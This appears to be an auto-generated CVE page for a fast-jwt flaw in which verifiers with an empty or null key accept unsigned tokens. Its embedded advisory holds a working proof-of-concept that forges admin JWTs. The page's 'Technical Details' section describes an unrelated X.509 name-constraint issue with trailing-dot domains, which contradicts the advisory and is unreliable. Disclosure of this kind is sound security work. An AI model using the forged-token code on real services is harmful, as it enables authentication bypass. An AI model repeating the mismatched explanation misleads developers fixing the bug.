CVE-2026-107720: fast-jwt CreateVerifier Accepts Unsigned JWTs When Vulnerability
HIGHCVE-2026-107720 is a HIGH (CVSS 7.4) createverifier accepts unsigned jwts when vulnerability (CWE-20: Improper Input Validation) affecting fast-jwt libraries in the npm ecosystem. The issue involves createverifier accepts unsigned jwts when key is '' or null and algorithms is explicitly set. Remediation is available by upgrading affected packages to version 6.3.1.
CVE-2026-107720 at a Glance
Security Impact
CVSS: 7.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
How to Fix CVE-2026-107720
To remediate this vulnerability, upgrade all affected fast-jwt dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install fast-jwt@6.3.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls fast-jwt
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-107720, inspect your project dependencies using npm:
npm ls fast-jwt
Analyze the terminal output to locate any version of fast-jwt in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.3.1), your application is affected.
Note: The npm ls fast-jwt command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & RFC 5280 Specification
Under RFC 5280 specifications for X.509 certificates, the Name Constraints extension defines a namespace within which all subsequent subject names in a certification path must be located. Constraints apply to various name forms including directory names, IP addresses, rfc822Name (email addresses), and uniformResourceIdentifier (URI) entries. Specifically, during certificate path validation, affected versions of fast-jwt failed to properly normalize or enforce boundary checks when domain names contained trailing dot (.) characters. Because domain names with a trailing dot signify fully qualified domain names (FQDNs), this omission allowed non-conforming certificates to be improperly validated as compliant with the defined name constraints.
Source Advisory Statement
CVE-2026-107720 Affected fast-jwt Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
fast-jwt
|
npm |
< 6.3.1
|
6.3.1
|
References
Frequently Asked Questions
What is CVE-2026-107720?
Which fast-jwt versions are affected?
What version fixes CVE-2026-107720?
Is fast-jwt affected?
What is the CVSS score of CVE-2026-107720?
What CWE is associated with CVE-2026-107720?
How can I check npm dependencies for CVE-2026-107720?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-8wpc-h4q6-8fxv",
"modified" : "2026-10-08T22:02:12Z",
"published" : "2026-10-08T22:02:12Z",
"aliases" : [ "CVE-2026-107720" ],
"summary" : "fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set",
"details" : "### Summary\n\n`createVerifier` in fast-jwt ≤ 6.3.0 skips signature verification entirely when the `key` option is a falsy synchronous value (`''` or `null`) **and** the `algorithms` option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.\n\n### Details\n\n**Root cause — four cooperating code paths:**\n\n**A. Falsy sync keys bypass `prepareKeyOrSecret`**\n\n`createVerifier` branches on `typeof key`:\n\n```js\nconst keyType = typeof key\nif (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') {\n throw new TokenError(/* ... */)\n}\nif (key && keyType !== 'function') {\n key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))\n}\n```\n\nWhen `key` is `''` (string, falsy) or `null` (object, falsy) the outer type check passes but the `if (key && ...)` guard never calls `prepareKeyOrSecret`. The empty-secret rejection added in that function is therefore never reached for sync keys:\n\n```js\nfunction prepareKeyOrSecret(key, isSecret) {\n if (isSecret && key.length === 0) {\n throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.')\n }\n return isSecret ? createSecretKey(key) : createPublicKey(key)\n}\n```\n\n**B. Explicit `algorithms` keeps an allowlist active with no key**\n\nWhen `key` is falsy, autodetection is skipped and the caller-supplied `algorithms` (e.g. `['HS256']`) is retained in `allowedAlgorithms`. The verifier therefore accepts tokens whose header matches that list.\n\n**C. `hasKey` is false → missing signature is permitted**\n\n```js\nconst hasKey = key instanceof Buffer ? key.length : !!key\n\nif (hasKey && !signature) {\n throw new TokenError(/* missingSignature */)\n} else if (!hasKey && signature) {\n throw new TokenError(/* missingKey */)\n}\n// !hasKey && !signature → fall through with NO crypto\n```\n\nAn unsigned token (`header.payload.`) produces `signature === ''`, which is falsy, so both branches are skipped.\n\n**D. Signature check is gated on `signature` being truthy**\n\n```js\nif (signature && !verifySignature(header.alg, key, input, signature)) {\n throw new TokenError(/* invalidSignature */)\n}\n```\n\nEmpty signature → condition is `false` → `verifySignature` is never called.\n\n**E. Signer / verifier asymmetry**\n\n- `createSigner({ key: '' })` / `key: null` → **rejected**\n- `createVerifier({ key: async () => '' })` → **rejected** (GHSA empty-secret tests)\n- `createVerifier({ key: '' | null, algorithms: [...] })` → **accepted**, then verifies unsigned tokens\n\nIronically, the security best practice of setting `algorithms` **enables** the bypass. With `algorithms` omitted, `allowedAlgorithms` stays `[]` and every token fails closed.\n\n**Affected versions:** confirmed on 6.3.0 (current `main` @ 378422c).\nThis is an incomplete fix relative to the empty-secret hardening already applied for `Buffer` keys and `async` key functions (GHSA-gmvf lineage, PR #609).\n\n### PoC\n\n```bash\ncd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install\n```\n\n```js\n// poc-empty-key-bypass.js\nconst { createVerifier } = require('.')\n\nfunction unsigned(alg, claims) {\n const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url')\n const p = Buffer.from(JSON.stringify(claims)).toString('base64url')\n return `${h}.${p}.` // trailing dot = empty signature\n}\n\nconst token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })\n\n// Vulnerable: key '' + explicit algorithms allowlist\nconst verify = createVerifier({ key: '', algorithms: ['HS256'] })\nconsole.log(verify(token))\n// → { sub: 'attacker', admin: true, role: 'root' }\n\n// Also works for RS256 / ES256 / EdDSA allowlists and key: null\nconsole.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true })))\n// → { admin: true }\n\n// Negative controls (correctly rejected):\ntry { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) }\n catch (e) { console.log('non-empty key:', e.code) } // FAST_JWT_MISSING_SIGNATURE\n\ntry { createVerifier({ key: '' })(token) }\n catch (e) { console.log('empty key, no algorithms:', e.code) } // FAST_JWT_INVALID_ALGORITHM\n\ntry { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) }\n catch (e) { console.log('empty Buffer:', e.code) } // FAST_JWT_INVALID_KEY\n```\n\n**Expected:** `TokenError` with code `FAST_JWT_INVALID_KEY`\n**Actual:** payload returned with no signature check\n\n### Impact\n\nFull authentication / authorization bypass. Any application that:\n\n1. Uses `createVerifier` with `key: ''` or `key: null` (common when a secret is read from an unset environment variable, e.g. `process.env.JWT_SECRET || ''`), **and**\n2. Sets `algorithms` to a non-empty allowlist (a recommended security practice),\n\nwill accept attacker-crafted JWTs with arbitrary claims. Claim checks (`exp`, `allowedSub`, etc.) still run; only signature verification is skipped.\n\n### Suggested fix\n\nIn `createVerifier`, fail closed before binding the verifier:\n\n```js\nif (keyType !== 'function') {\n if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) {\n throw new TokenError(TokenError.codes.invalidKey,\n 'The key cannot be null, empty, or a zero-length buffer.')\n }\n}\n```\n\nAlso guard the combination explicitly:\n\n```js\nif (!key && allowedAlgorithms.length > 0) {\n throw new TokenError(TokenError.codes.invalidKey,\n 'The key cannot be falsy when algorithms is set.')\n}\n```\n\nThe async path (key function resolving to `''`) is already hardened via `prepareKeyOrSecret` and does not need to change.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "fast-jwt"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "6.3.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 6.3.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nearform/fast-jwt/security/advisories/GHSA-8wpc-h4q6-8fxv"
}, {
"type" : "WEB",
"url" : "https://github.com/nearform/fast-jwt/pull/649"
}, {
"type" : "WEB",
"url" : "https://github.com/nearform/fast-jwt/commit/e22a151e83bf6d5e54e281216982d204d5665534"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nearform/fast-jwt"
}, {
"type" : "WEB",
"url" : "https://github.com/nearform/fast-jwt/releases/tag/v6.3.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20", "CWE-347" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-08T22:02:12Z",
"nvd_published_at" : null
}
}